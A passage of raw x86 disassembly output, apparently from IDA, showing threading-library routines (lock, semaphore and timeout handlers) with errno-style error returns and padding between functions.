--------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4322ED mov [esi+0Ch], edi loc_4322EA: ; CODE XREF: ___:00432280j ; ___:0043229Dj inc dword ptr [esi+10h] loc_4322ED: ; CODE XREF: ___:004322E5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4322F6: ; CODE XREF: ___:0043220Cj ; ___:00432216j ... mov eax, 16h loc_4322FB: ; CODE XREF: ___:00432231j ; ___:00432251j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_432360: ; CODE XREF: ___:00401951j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_432461 mov eax, [esi] test eax, eax jz loc_432461 cmp eax, 0FFFFFFFFh jnz short loc_432397 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432397 cmp eax, 10h jnz loc_432466 loc_432397: ; CODE XREF: ___:0043237Fj ; ___:0043238Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432461 mov edi, [esp+20h] push edi push esi call sub_401BC2 add esp, 8 test eax, eax jnz loc_432466 lea ebp, [esi+4] push edi push ebp call sub_401BC2 mov edi, eax add esp, 8 test edi, edi jz short loc_4323E1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4323E1: ; CODE XREF: ___:004323CDj mov eax, [esi+10h] test eax, eax jnz short loc_432455 mov eax, [esi+14h] test eax, eax jle short loc_4323FE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4323FE: ; CODE XREF: ___:004323EDj mov eax, [esi+0Ch] test eax, eax jle short loc_432455 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_432421: ; CODE XREF: ___:0043243Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43243D mov eax, [esi+14h] test eax, eax jl short loc_432421 loc_43243D: ; CODE XREF: ___:00432434j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_432458 mov [esi+0Ch], edi loc_432455: ; CODE XREF: ___:004323E6j ; ___:00432403j inc dword ptr [esi+10h] loc_432458: ; CODE XREF: ___:00432450j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: ___:0043236Cj ; ___:00432376j ... mov eax, 16h loc_432466: ; CODE XREF: ___:00432391j ; ___:004323B6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4324C0: ; CODE XREF: ___:004015BEj mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_432546 mov esi, [eax] test esi, esi jz short loc_432546 cmp esi, 0FFFFFFFFh jnz short loc_4324DC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4324DC: ; CODE XREF: ___:004324D4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_432546 mov eax, [esi+10h] test eax, eax jnz short loc_432524 lea ebx, [esi+4] push ebx call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_432502 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432502: ; CODE XREF: ___:004324FCj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_432519 add esi, 8 push esi call sub_401E51 add esp, 4 mov edi, eax loc_432519: ; CODE XREF: ___:00432509j push ebx call sub_4010C3 add esp, 4 jmp short loc_43253C ; --------------------------------------------------------------------------- loc_432524: ; CODE XREF: ___:004324EAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43253C: ; CODE XREF: ___:00432522j test edi, edi jz short loc_43254B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432546: ; CODE XREF: ___:004324C9j ; ___:004324CFj ... mov eax, 16h loc_43254B: ; CODE XREF: ___:0043253Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432580: ; CODE XREF: ___:00401532j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43263A mov eax, [esi] test eax, eax jz loc_43263A cmp eax, 0FFFFFFFFh jnz short loc_4325B4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4325B4 cmp eax, 10h jnz loc_43263F loc_4325B4: ; CODE XREF: ___:0043259Cj ; ___:004325A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43263A push esi call sub_40177B add esp, 4 test eax, eax jnz short loc_43263F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43262D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4325FD push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4325FD: ; CODE XREF: ___:004325ECj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43262D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43262D: ; CODE XREF: ___:004325DAj ; ___:0043261Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43263A: ; CODE XREF: ___:00432589j ; ___:00432593j ... mov eax, 16h loc_43263F: ; CODE XREF: ___:004325AEj ; ___:004325CAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432690: ; CODE XREF: ___:00401FD2j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_432771 mov eax, [esi] test eax, eax jz loc_432771 cmp eax, 0FFFFFFFFh jnz short loc_4326C4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4326C4 cmp eax, 10h jnz loc_432776 loc_4326C4: ; CODE XREF: ___:004326ACj ; ___:004326B9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432771 push esi call sub_40177B add esp, 4 test eax, eax jnz loc_432776 lea ebx, [esi+4] push ebx call sub_40177B mov edi, eax add esp, 4 test edi, edi jz short loc_432709 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_432776 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432709: ; CODE XREF: ___:004326F4j mov eax, [esi+10h] test eax, eax jnz short loc_432759 mov eax, [esi+14h] test eax, eax jle short loc_432726 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432726: ; CODE XREF: ___:00432715j mov eax, [esi+0Ch] test eax, eax jle short loc_432764 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_43274B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43274B: ; CODE XREF: ___:0043273Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_43275E loc_432759: ; CODE XREF: ___:0043270Ej mov edi, 10h loc_43275E: ; CODE XREF: ___:00432757j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432764: ; CODE XREF: ___:0043272Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432771: ; CODE XREF: ___:00432699j ; ___:004326A3j ... mov eax, 16h loc_432776: ; CODE XREF: ___:004326BEj ; ___:004326DEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4327C0: ; CODE XREF: ___:00401BF9j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_4327D7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_4327D7: ; CODE XREF: ___:004327CFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432800: ; CODE XREF: ___:00401E97j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432827 mov eax, [esp+8] test eax, eax jz short loc_432827 cmp eax, 2 jbe short loc_432827 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432827: ; CODE XREF: ___:0043280Fj ; ___:00432817j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432840: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432886 mov edi, [esp+14h] test edi, edi jz short loc_432886 mov esi, [edi] push eax call sub_40154B add esp, 4 cmp esi, eax jl short loc_432886 push 0 call sub_401438 add esp, 4 cmp esi, eax jg short loc_432886 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_432886: ; CODE XREF: ___:00432852j ; ___:0043285Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328B0: ; CODE XREF: ___:00401EDDj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_4328D5 mov eax, [esp+0Ch] test eax, eax jz short loc_4328D5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4328D5: ; CODE XREF: ___:004328C0j ; ___:004328C8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328F0: ; CODE XREF: ___:004015B4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_432909 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432909: ; CODE XREF: ___:00432900j mov eax, [esp+0Ch] test eax, eax jz short loc_43291D cmp eax, 1 jz short loc_43291D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_43291D: ; CODE XREF: ___:0043290Fj ; ___:00432914j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:004019D8j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432965 mov eax, [esp+0Ch] test eax, eax jz short loc_432965 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_432965: ; CODE XREF: ___:00432950j ; ___:00432958j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432980 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_4329C5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_4329C0 cmp eax, 2 jg short loc_4329C0 test eax, eax jz short loc_4329AC mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_4329AC: ; CODE XREF: sub_432980+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020B3 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_4329C0: ; CODE XREF: sub_432980+1Aj ; sub_432980+1Fj mov eax, 16h loc_4329C5: ; CODE XREF: sub_432980+12j pop esi retn sub_432980 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4329F0 proc near ; CODE XREF: sub_4020B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_40154B add esp, 4 cmp esi, eax jl loc_432A95 push edi call sub_401438 add esp, 4 cmp esi, eax jg short loc_432A95 cmp esi, 0FFFFFFF1h jle short loc_432A30 cmp esi, 0FFFFFFFEh jge short loc_432A30 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_432A42 ; --------------------------------------------------------------------------- loc_432A30: ; CODE XREF: sub_4329F0+2Fj ; sub_4329F0+34j cmp esi, 0Fh jge short loc_432A42 cmp esi, 2 jle short loc_432A42 mov [esp+8+arg_8], 2 loc_432A42: ; CODE XREF: sub_4329F0+3Ej ; sub_4329F0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_432A8E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx call near ptr 28B0697h nop test eax, eax jnz short loc_432A82 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A82: ; CODE XREF: sub_4329F0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_432A8E: ; CODE XREF: sub_4329F0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A95: ; CODE XREF: sub_4329F0+19j ; sub_4329F0+2Aj pop edi mov eax, 16h pop esi retn sub_4329F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AD0 proc near ; CODE XREF: sub_40218Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_432B09 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_432B04 mov eax, [esp+4+arg_8] test eax, eax jz short loc_432B04 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_432B04: ; CODE XREF: sub_432AD0+1Bj ; sub_432AD0+23j mov eax, 16h loc_432B09: ; CODE XREF: sub_432AD0+12j pop esi retn sub_432AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B20 proc near ; CODE XREF: sub_401438j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B33 cmp eax, 2 jg short loc_432B33 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_432B33: ; CODE XREF: sub_432B20+6j ; sub_432B20+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B60 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B73 cmp eax, 2 jg short loc_432B73 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_432B73: ; CODE XREF: sub_432B60+6j ; sub_432B60+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432BA0: ; CODE XREF: ___:00401AC8j push esi mov esi, [esp+8] test esi, esi jz short loc_432BE5 nop call near ptr 28B0662h cmp esi, eax jz short loc_432BE5 push esi push 0 push 200h call near ptr 2900000h nop test eax, eax jnz short loc_432BE5 nop call near ptr 2930847h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BE5: ; CODE XREF: ___:00432BA7j ; ___:00432BB1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_432BFE nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BFE: ; CODE XREF: ___:00432BEBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432C30: ; CODE XREF: ___:0040150Aj push esi mov esi, [esp+8] test esi, esi jz short loc_432C75 nop call near ptr 28B0662h cmp esi, eax jz short loc_432C75 push esi push 0 push 400h nop call near ptr 2900000h test eax, eax jnz short loc_432C75 nop call near ptr 2930847h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432C75: ; CODE XREF: ___:00432C37j ; ___:00432C41j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432CA0: ; CODE XREF: ___:00401B4Aj push 0 nop call near ptr 29B0000h xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432CC0 proc near ; CODE XREF: sub_401C76j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_432CDF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432CDF: ; CODE XREF: sub_432CC0+Aj push 4 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432CF7 mov edi, 0Ch loc_432CF7: ; CODE XREF: sub_432CC0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 28B0000h test eax, eax mov [esi], eax jnz short loc_432D24 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D24: ; CODE XREF: sub_432CC0+4Fj test edi, edi jz short loc_432D36 call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D36: ; CODE XREF: sub_432CC0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_432CC0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432D80 proc near ; CODE XREF: sub_401686j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_432DA5 mov esi, [edi] test esi, esi jz short loc_432DA5 mov dword ptr [edi], 0 mov eax, [esi] push eax call near ptr 29B0989h nop test eax, eax jnz short loc_432DB7 mov [edi], esi loc_432DA5: ; CODE XREF: sub_432D80+8j ; sub_432D80+Ej nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432DB7: ; CODE XREF: sub_432D80+21j push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi retn sub_432D80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DF0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E23 mov eax, [eax] test eax, eax jz short loc_432E23 mov eax, [eax] push 0 push eax nop call near ptr 28E03CEh cmp eax, 102h jnz short loc_432E35 mov esi, 0Bh call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E23: ; CODE XREF: sub_432DF0+7j ; sub_432DF0+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E35: ; CODE XREF: sub_432DF0+1Fj xor eax, eax pop esi retn sub_432DF0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E60 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E8D mov eax, [eax] test eax, eax jz short loc_432E8D mov eax, [eax] push eax call sub_401640 ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0C436E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432E8D: ; CODE XREF: sub_432E60+7j ; sub_432E60+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_432E60 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401898j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_432EF3 mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432EF3: ; CODE XREF: sub_432ED0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_432F02 or ebx, 0FFFFFFFFh jmp short loc_432F61 ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_432F61 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_432F61 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_432F61 dec ebx loc_432F61: ; CODE XREF: sub_432ED0+30j ; sub_432ED0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D70 sub_432ED0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_432FE0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432FFF mov eax, [eax] test eax, eax jz short loc_432FFF mov eax, [eax] push 0 push 1 push eax nop call near ptr 28A0E1Eh test eax, eax jnz short loc_43300F loc_432FFF: ; CODE XREF: sub_432FE0+6j ; sub_432FE0+Cj call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_43300F: ; CODE XREF: sub_432FE0+1Dj xor eax, eax retn sub_432FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433030 proc near ; CODE XREF: sub_40204Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_433056 mov eax, [eax] test eax, eax jz short loc_433056 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_433056 mov eax, [eax] push 0 push ecx push eax call near ptr 28A0E1Eh nop test eax, eax jnz short loc_433066 loc_433056: ; CODE XREF: sub_433030+6j ; sub_433030+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_433066: ; CODE XREF: sub_433030+24j xor eax, eax retn sub_433030 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433080: ; CODE XREF: ___:00401433j mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4330CD mov esi, [eax] test esi, esi jz short loc_4330CD mov edi, [esp+10h] test edi, edi jz short loc_4330CD mov eax, [esi] push 0 push eax nop call near ptr 28E03CEh cmp eax, 102h jnz short loc_4330B1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4330B1: ; CODE XREF: ___:004330A8j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 28A0E1Eh mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4330CD: ; CODE XREF: ___:00433088j ; ___:0043308Ej ... call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433100: ; CODE XREF: ___:0040220Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433120: ; CODE XREF: ___:00402013j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433140: ; CODE XREF: ___:00401CB2j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433160 proc near ; CODE XREF: sub_401992j arg_0 = dword ptr 4 push esi push offset dword_50E960 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_433194 push esi push ecx call sub_4021EE add esp, 8 mov esi, eax push offset dword_50E960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433194: ; CODE XREF: sub_433160+17j test eax, eax jnz short loc_43319D mov esi, 16h loc_43319D: ; CODE XREF: sub_433160+36j push offset dword_50E960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_433160 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4331D0 proc near ; CODE XREF: sub_4021EEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4331EE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4331EE: ; CODE XREF: sub_4331D0+11j lea eax, [esp+14h+var_4] push eax call sub_401C26 mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_433229 mov [esp+14h+var_4], 1 loc_43320B: ; CODE XREF: sub_4331D0+5Ej ; sub_4331D0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433240 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433229: ; CODE XREF: sub_4331D0+31j cmp [esp+14h+var_4], 1 jle short loc_43320B cmp ebx, 1 jnz short loc_43320B pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: sub_4331D0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43325D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: sub_4331D0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A0F mov edi, eax add esp, 4 test edi, edi jnz short loc_433293 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_433293 mov dword ptr [esi], 